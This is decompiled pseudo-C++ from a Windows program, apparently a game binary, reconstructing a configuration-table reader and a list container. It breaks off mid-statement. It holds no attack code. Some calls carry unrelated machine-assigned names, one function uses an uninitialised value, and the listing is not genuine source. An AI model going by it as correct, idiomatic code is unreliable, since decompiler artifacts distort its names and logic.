ORTable::ort_ReadColumnHeader(v2, token, &this->or_Argument); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "ColumnHeader without table"); result = 0; } return result; } //----- (0055B900) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5E65EC: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (0055B920) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ORRecord *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x808u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0055B970) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ORRecord *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x808u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0055B9C0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5E6608: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (0055B9E0) -------------------------------------------------------- char __thiscall OptionReader::or_ExecTable(OptionReader *this, ORTokenReader *token) { OptionReader *v2; // edi@1 unsigned __int16 v3; // ax@1 char *v4; // ecx@1 int v5; // esi@2 char *v7; // eax@7 v2 = this; v3 = this->or_TableList.l_Finger.empty; v4 = (char *)&this->or_TableList; if ( v3 == -1 ) v5 = 0; else v5 = (*(int (__stdcall **)(_WORD))(*(_DWORD *)v4 + 4))(v3); v2->or_CurrentTable = (ORTable *)v5; if ( !v5 ) { ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Too many tables"); return 0; } v7 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v7 ) return 0; *(_DWORD *)(v5 + 16) = 0; *(_DWORD *)(v5 + 12) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)v5 = 0; strncpy((char *)v5, v7, 0x14u); return 1; } //----- (0055BA60) -------------------------------------------------------- void __thiscall ListArray::_ListArray(ListArray *this) { void *v1; // eax@1 void *v2; // esi@2 v1 = this->la_Array; if ( this->la_Array ) { v2 = (char *)v1 - 4; _eh_vector_destructor_iterator_(v1, 0x808u, *((_DWORD *)v1 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v2); } } //----- (0055BA90) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ORRecord *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, ele, 0x808u); result = 1; } else { result = 0; } return result; } //----- (0055BAC0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ORRecord *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, ele, 0x808u); result = 1; } else { result = 0; } return result; } //----- (0055BB00) -------------------------------------------------------- void __thiscall ORTable::_ORTable(ORTable *this) { ORTable *v1; // esi@1 ORKeyList *v2; // edi@1 void *v3; // eax@3 void *v4; // eax@5 void *v5; // edi@6 v1 = this; v2 = this->ort_PrimaryKey; if ( v2 ) { ORKeyList::_ORKeyList(v2); operator delete(v2); } v3 = v1->ort_DataRecord.l_Array; v1->ort_DataRecord.vfptr = (ListVtbl *)List::_vftable_; if ( v3 ) operator delete__(v3); v4 = v1->ort_DataArray.la_Array; if ( v4 ) { v5 = (char *)v4 - 4; _eh_vector_destructor_iterator_(v4, 0x808u, *((_DWORD *)v4 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v5); } ORColumnHeaderList::_ORColumnHeaderList(&v1->ort_HeaderList); } // 5E65EC: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (0055BBB0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ORTable *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { ORTable::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (0055BBE0) -------------------------------------------------------- int __thiscall ORTable::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); memcpy((void *)(this + 24), (const void *)(a2 + 24), 0x808u); *(_WORD *)(this + 2084) = *(_WORD *)(a2 + 2084); *(_DWORD *)(this + 2088) = *(_DWORD *)(a2 + 2088); *(_DWORD *)(this + 2092) = *(_DWORD *)(a2 + 2092); *(_DWORD *)(this + 2096) = *(_DWORD *)(a2 + 2096); *(_WORD *)(this + 2100) = *(_WORD *)(a2 + 2100); *(_DWORD *)(this + 2104) = *(_DWORD *)(a2 + 2104); return result; } //----- (0055BC80) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ORTable *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { ORTable::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (0055BCB0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ORTable *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ORTable::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0055BD00) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ORTable *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ORTable::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0055BD50) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0055BDA0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList(this, &eraser.baseclass_0); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0055BDF0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0055BF10) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0055C030) -------------------------------------------------------- void __thiscall OptionReader::_OptionReader(OptionReader *this) { OptionReader *v1; // esi@1 void *v2; // eax@3 v1 = this; if ( this->m_strFileName._Myres >= 0x10 ) operator delete(*(void **)&this->m_strFileName._Bx._Buf[0]); v1->m_strFileName._Myres = 15; v1->m_strFileName._Mysize = 0; v1->m_strFileName._Bx._Buf[0] = 0; _eh_vector_destructor_iterator_(v1->or_TableArray, 0x83Cu, 32, (void (__thiscall *)(void *))ORTable::_ORTable); v2 = v1->or_TableList.l_Array; v1->or_TableList.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); TokenArgument::_TokenArgument(&v1->or_Argument); } // 5E6608: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (0055C0E0) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 int v3; // edi@1 signed int v4; // ecx@4 int v5; // edx@5 ListStruct *v6; // eax@7 ORRecord *v7; // ebp@7 int v8; // eax@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; v3 = 0; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v4 = 0; if ( v2->l_MaxSize > 0u ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 5E65EC: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (0055C160) -------------------------------------------------------- void __thiscall ORTable::ORTable(ORTable *this) { ORTable *v1; // esi@1 void *v2; // eax@1 int v3; // ebp@2 v1 = this; *(_QWORD *)&this->ort_TableName.ort_Name[12] = 0i64; *(_QWORD *)&this->ort_TableName.ort_Name[4] = 0i64; *(_DWORD *)&this->ort_TableName.ort_Name[0] = 0; ORColumnHeaderList::ORColumnHeaderList(&this->ort_HeaderList); v1->ort_DataArray.la_Size = 32; v2 = operator new__(0x10104u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 32; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x808u, 32, (void (__thiscall *)(void *))ORRecord::ORRecord, (void (__thiscall *)(void *))ORRecord::_ORRecord); } else { v3 = 0; } v1->ort_DataArray.la_Array = (ORRecord *)v3; List::List(&v1->ort_DataRecord, &v1->ort_DataArray); v1->ort_PrimaryKey = 0; } //----- (0055C220) -------------------------------------------------------- void __thiscall OptionReader::OptionReader(OptionReader *this) { OptionReader *v1; // esi@1 int v2; // ebp@1 signed int v3; // edx@1 unsigned int v4; // eax@1 int v5; // ecx@3 v1 = this; TokenArgument::TokenArgument(&this->or_Argument); v1->or_TableList.vfptr = (ListVtbl *)List::_vftable_; v1->or_TableList.l_ListArray = 0; List::l_MakeList(&v1->or_TableList, 0x20u); v2 = (int)v1->or_TableArray; _eh_vector_constructor_iterator_( v1->or_TableArray, 0x83Cu, 32, (void (__thiscall *)(void *))ORTable::ORTable, (void (__thiscall *)(void *))ORTable::_ORTable); v1->m_strFileName._Myres = 15; v1->m_strFileName._Mysize = 0; v1->m_strFileName._Bx._Buf[0] = 0; v3 = 0; v1->or_CurrentTable = 0; v4 = 0; do { if ( v3 < v1->or_TableList.l_MaxSize ) { v5 = (int)&v1->or_TableList.l_Array[v4]; if ( !*(_DWORD *)v5 ) *(_DWORD *)v5 = v2; } ++v4; ++v3; v2 += 2108; } while ( v4 < 32 ); } // 5E6608: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (0055C2E0) -------------------------------------------------------- char __thiscall OptionReader::or_Read(OptionReader *this, char *filename) { OptionReader *v2; // esi@1 _iobuf *v3; // edi@3 unsigned int v4; // ebp@7 int v5; // edi@7 int v6; // edx@8 int v7; // ecx@8 unsigned __int64 v8; // kr20_8@8 int v9; // eax@9 char v10; // al@10 unsigned __int64 v11; // kr28_8@11 char result; // al@50 _iobuf *fp; // [sp+0h] [bp-1038h]@3 ORToken com; // [sp+4h] [bp-1034h]@5 ORTokenReader token; // [sp+18h] [bp-1020h]@5 unsigned int v16; // [sp+1028h] [bp-10h]@50 int v17; // [sp+1034h] [bp-4h]@5 v2 = this; if ( filename ) std::basic_string_std::allocator>::assign( &this->m_strFileName, filename, strlen(filename)); v3 = fopen(filename, "r"); fp = v3; ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Undefined Error"); if ( v3 ) { ORTokenReader::ORTokenReader(&token, v3, &v2->or_Argument); v17 = 0; *(_QWORD *)&com.ort_Name[12] = 0i64; *(_QWORD *)&com.ort_Name[4] = 0i64; *(_DWORD *)&com.ort_Name[0] = 0; while ( 1 ) { if ( !ORTokenReader::ortr_ReadCommand(&token, &com) ) { LABEL_49: fclose(fp); v17 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); goto LABEL_50; } v4 = *(_DWORD *)&com.ort_Name[4]; v5 = *(_DWORD *)&com; if ( *(_QWORD *)&com != *(_QWORD *)OptionReader::or_CommentMark ) break; v8 = *(_QWORD *)&com.ort_Name[8]; v7 = v8 >> 32; v6 = v8; if ( *(_DWORD *)&com.ort_Name[8] != dword_146C1368 ) goto LABEL_12; v9 = *(_DWORD *)&com.ort_Name[16]; if ( *(_QWORD *)&com.ort_Name[12] == qword_146C136C ) { v10 = ORComment::orc_Exec(&v2->or_Argument.comment, &token); goto LABEL_43; } LABEL_13: if ( *(_QWORD *)&com != *(_QWORD *)OptionReader::or_Brace || v6 != dword_146C1250 || v7 != dword_146C1254 || v9 != dword_146C1258 ) { if ( *(_QWORD *)&com != *(_QWORD *)OptionReader::or_Ignore || v6 != dword_146C1304 || v7 != dword_146C1308 || v9 != dword_146C130C ) { if ( *(_QWORD *)&com != *(_QWORD *)OptionReader::or_Delimiter || v6 != dword_146C1264 || v7 != dword_146C1268 || v9 != dword_146C126C ) { if ( *(_QWORD *)&com != *(_QWORD *)OptionReader::or_Exchange || v6 != dword_146C1228 || v7 != dword_146C122C || v9 != dword_146C1230 ) { if ( ORToken::operator__(&com, &OptionReader::or_Table) ) { v10 = OptionReader::or_ExecTable(v2, &token); } else { if ( ORToken::operator__(&com, &OptionReader::or_ColumnType) ) { v10 = OptionReader::or_ExecColumnType(v2, &token); } else { if ( ORToken::operator__(&com, &OptionReader::or_ColumnName) ) { v10 = OptionReader::or_ExecColumnName(v2, &token); } else { if ( ORToken::operator__(&com, &OptionReader::or_Record) ) { v10 = OptionReader::or_ExecRecord(v2, &token); } else { if ( !ORToken::operator__(&com, &OptionReader::or_RecordIn) ) { if ( v5 != *(_DWORD *)OptionReader::or_End || __PAIR__(*(unsigned int *)&com.ort_Name[8], v4) != qword_146C1328 || *(_QWORD *)&com.ort_Name[12] != qword_146C1330 ) ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Undefined command"); goto LABEL_49; } v10 = OptionReader::or_ExecRecordIn(v2, &token); } } } } } else { v10 = ORExchange::ore_Exec(&v2->or_Argument.exchange, &token); } } else { v10 = ORDelimiter::ord_Exec((ORIgnore *)&v2->or_Argument.delimiter, &token); } } else { v10 = ORDelimiter::ord_Exec(&v2->or_Argument.ignore, &token); } } else { v10 = ORBrace::orb_Exec(&v2->or_Argument.brace, &token); } LABEL_43: if ( !v10 ) goto LABEL_49; } v11 = *(_QWORD *)&com.ort_Name[8]; v7 = v11 >> 32; v6 = v11; LABEL_12: v9 = *(_DWORD *)&com.ort_Name[16]; goto LABEL_13; } ORErrorMessage::operator_(&v2->or_Argument.errmsg, "File not found"); LABEL_50: __security_check_cookie(v16); return result; } // 146C1228: using guessed type int dword_146C1228; // 146C122C: using guessed type int dword_146C122C; // 146C1230: using guessed type int dword_146C1230; // 146C1250: using guessed type int dword_146C1250; // 146C1254: using guessed type int dword_146C1254; // 146C1258: using guessed type int dword_146C1258; // 146C1264: using guessed type int dword_146C1264; // 146C1268: using guessed type int dword_146C1268; // 146C126C: using guessed type int dword_146C126C; // 146C1304: using guessed type int dword_146C1304; // 146C1308: using guessed type int dword_146C1308; // 146C130C: using guessed type int dword_146C130C; // 146C1328: using guessed type __int64 qword_146C1328; // 146C1330: using guessed type __int64 qword_146C1330; // 146C1368: using guessed type int dword_146C1368; // 146C136C: using guessed type __int64 qword_146C136C; //----- (0055C630) -------------------------------------------------------- char __thiscall MakePrimaryKeyColumn::lid_Call(MakePrimaryKeyColumn *this, ORField *ele, unsigned __int16 handle) { MakePrimaryKeyColumn *v3; // esi@1 ORToken *v4; // eax@1 ORRecord *v5; // ST04_4@7 ORToken *v6; // eax@7 char result; // al@8 v3 = this; v4 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v4->ort_Name[0] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[0] || *(_DWORD *)&v4->ort_Name[4] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[4] || *(_DWORD *)&v4->ort_Name[8] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[8] || *(_DWORD *)&v4->ort_Name[12] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[12] || *(_DWORD *)&v4->ort_Name[16] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[16] ) { result = 1; } else { if ( ele->vfptr->orf_GetType(ele) == 1 ) { v5 = v3->mpkc_rec; v6 = (ORToken *)ele->vfptr->orf_GetBuffer(ele); ORKeyList::okl_AddKey(v3->mpkc_keylist, v6, v5); } result = 0; } return result; } //----- (0055C6A0) -------------------------------------------------------- char __thiscall OrderArgument::lid_Call(OrderArgument *this, ORRecord *ele, unsigned __int16 handle) { int v3; // eax@1 char result; // al@2 v3 = this->oa_target; if ( v3 > 0 ) { this->oa_target = v3 - 1; result = 1; } else { this->oa_record = ele; result = 0; } return result; } //----- (0055C6C0) -------------------------------------------------------- char __thiscall ColumnCheckArgument::lid_Call(ColumnCheckArgument *this, ORField *ele, unsigned __int16 handle) { ColumnCheckArgument *v3; // edi@1 char result; // al@2 ORToken *v5; // esi@3 ORToken *v6; // eax@3 v3 = this; if ( ORToken::ort_IsNull(this->cca_column) ) { v3->cca_found = 1; result = 0; } else { v5 = v3->cca_column; v6 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v6->ort_Name[0] != *(_DWORD *)&v5->ort_Name[0] || *(_DWORD *)&v6->ort_Name[4] != *(_DWORD *)&v5->ort_Name[4] || *(_DWORD *)&v6->ort_Name[8] != *(_DWORD *)&v5->ort_Name[8] || *(_DWORD *)&v6->ort_Name[12] != *(_DWORD *)&v5->ort_Name[12] || *(_DWORD *)&v6->ort_Name[16] != *(_DWORD *)&v5->ort_Name[16] ) { result = 1; } else { if ( ele->vfptr->orf_CompareContent(ele, v3->cca_contentstring, &v3->cca_contentindex) ) v3->cca_found = 1; result = 0; } } return result; } //----- (0055C740) -------------------------------------------------------- char __thiscall TargetColumnFindArgument::lid_Call(TargetColumnFindArgument *this, ORField *ele, unsigned __int16 handle) { TargetColumnFindArgument *v3; // esi@1 ORToken *v4; // eax@1 char result; // al@6 v3 = this; v4 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v4->ort_Name[0] != *(_DWORD *)&v3->tcfa_target.ort_Name[0] || *(_DWORD *)&v4->ort_Name[4] != *(_DWORD *)&v3->tcfa_target.ort_Name[4] || *(_DWORD *)&v4->ort_Name[8] != *(_DWORD *)&v3->tcfa_target.ort_Name[8] || *(_DWORD *)&v4->ort_Name[12] != *(_DWORD *)&v3->tcfa_target.ort_Name[12] || *(_DWORD *)&v4->ort_Name[16] != *(_DWORD *)&v3->tcfa_target.ort_Name[16] ) { result = 1; } else { v3->tcfa_content = ele->vfptr->orf_GetBuffer(ele); *v3->tcfa_type = ele->vfptr->orf_GetType(ele); result = 0; } return result; } //----- (0055C7A0) -------------------------------------------------------- char __thiscall TableNameCompareArgument::lid_Call(TableNameCompareArgument *this, ORTable *ele, unsigned __int16 handle) { TableNameCompareArgument *v3; // esi@1 int v4; // eax@1 char result; // al@6 v3 = this; MoveManager::MoveManager((DiceTaiSai *)ele); if ( *(_DWORD *)&v3->tnca_tablename.ort_Name[0] != *(_DWORD *)v4 || *(_DWORD *)&v3->tnca_tablename.ort_Name[4] != *(_DWORD *)(v4 + 4) || *(_DWORD *)&v3->tnca_tablename.ort_Name[8] != *(_DWORD *)(v4 + 8) || *(_DWORD *)&v3->tnca_tablename.ort_Name[12] != *(_DWORD *)(v4 + 12) || *(_DWORD *)&v3->tnca_tablename.ort_Name[16] != *(_DWORD *)(v4 + 16) ) { result = 1; } else { v3->tnca_found = ele; result = 0; } return result; } //----- (0055C7F0) -------------------------------------------------------- void __thiscall ORColumnHeader::_ORColumnHeader(ORColumnHeader *this) { this->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeader::_vftable_; } // 5E6700: using guessed type int (__stdcall *ORColumnHeader___vftable_)(int token, int targ); //----- (0055C800) -------------------------------------------------------- ORToken *__thiscall ORColumnHeader::orch_GetColumnName(ORColumnHeader *this) { return &this->orch_ColumnName; } //----- (0055C810) -------------------------------------------------------- int __thiscall ORColumnHeader::ortr_SetLength(ORColumnHeader *this, ORTokenReader *token, TokenArgument *targ) { return this->orch_Length; } //----- (0055C820) -------------------------------------------------------- char __thiscall ORColumnHeader::orch_FillCell(ORColumnHeader *this, ORTokenReader *token, ORRecord *datarecord) { ORColumnHeader *v3; // edi@1 unsigned __int16 v4; // ax@1 ORField *v5; // eax@1 ORField *v6; // esi@1 char result; // al@2 ORColumnHeader *hnd; // [sp+0h] [bp-4h]@1 hnd = this; v3 = this; v4 = ((int (*)(void))this->vfptr->orch_FieldType)(); v5 = ORRecord::orr_AllocObject(datarecord, (unsigned __int16 *)&hnd, v4); v6 = v5; if ( v5 ) { PacketContainer::pcb_SetSocketSession(v5, v3); ORRecord::orr_AllocMemory(datarecord, v6); result = v6->vfptr->orf_Read(v6, token); } else { ORTokenReader::ortr_SetError(token, "Cannot alloc field memory"); result = 0; } return result; } //----- (0055C880) -------------------------------------------------------- int __thiscall ORColumnHeaderString::ortr_SetLength(ORColumnHeaderString *this, ORTokenReader *token, TokenArgument *targ) { ORTokenReader *v3; // esi@1 ORColumnHeaderString *v4; // ebp@1 char v5; // al@1 ORBrace *v6; // edi@1 int result; // eax@2 int v8; // ebx@3 char v9; // al@7 v3 = token; v4 = this; v5 = ORTokenReader::ortr_ReadChar(token); v6 = &targ->brace; if ( ORBrace::orb_IsOpen(&targ->brace, v5) ) { LOBYTE(token) = 0; v8 = ORTokenReader::ortr_ReadNumber(v3, (char *)&token); if ( (_BYTE)token ) { if ( v8 > 0 ) { v9 = ORTokenReader::ortr_ReadChar(v3); if ( ORBrace::orb_IsClose(v6, v9) ) { v4->baseclass_0.orch_Length = v8; result = v8; } else { ORTokenReader::ortr_SetError(v3, "Brace must be closed in same line"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "String length must be bigger then 0"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "Error in string length"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "String need length"); result = 0; } return result; } //----- (0055C940) -------------------------------------------------------- void __thiscall ORColumnHeaderList::ORColumnHeaderList(ORColumnHeaderList *this) { memset(this, 0, 0x800u); } //----- (0055C960) -------------------------------------------------------- ORColumnHeader *__thiscall ORColumnHeaderList::orchl_AllocObject(ORColumnHeaderList *this, unsigned __int16 *hnd, unsigned __int16 type) { ORColumnHeaderList *v3; // ebx@1 signed int v4; // edi@1 ORColumnHeader *result; // eax@4 v3 = this; v4 = 0; while ( this->orchl_fieldname[v4] ) { ++v4; if ( v4 >= 512 ) return 0; } switch ( type ) { case 1u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderIndex::_vftable_; result->orch_Length = 20; v3->orchl_fieldname[v4] = result; break; case 2u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderString::_vftable_; result->orch_Length = -1; v3->orchl_fieldname[v4] = result; break; case 3u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderByte::_vftable_; result->orch_Length = 1; v3->orchl_fieldname[v4] = result; break; case 4u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderWord::_vftable_; result->orch_Length = 2; v3->orchl_fieldname[v4] = result; break; case 5u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) { LABEL_16: v3->orchl_fieldname[v4] = 0; goto LABEL_17; } *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD 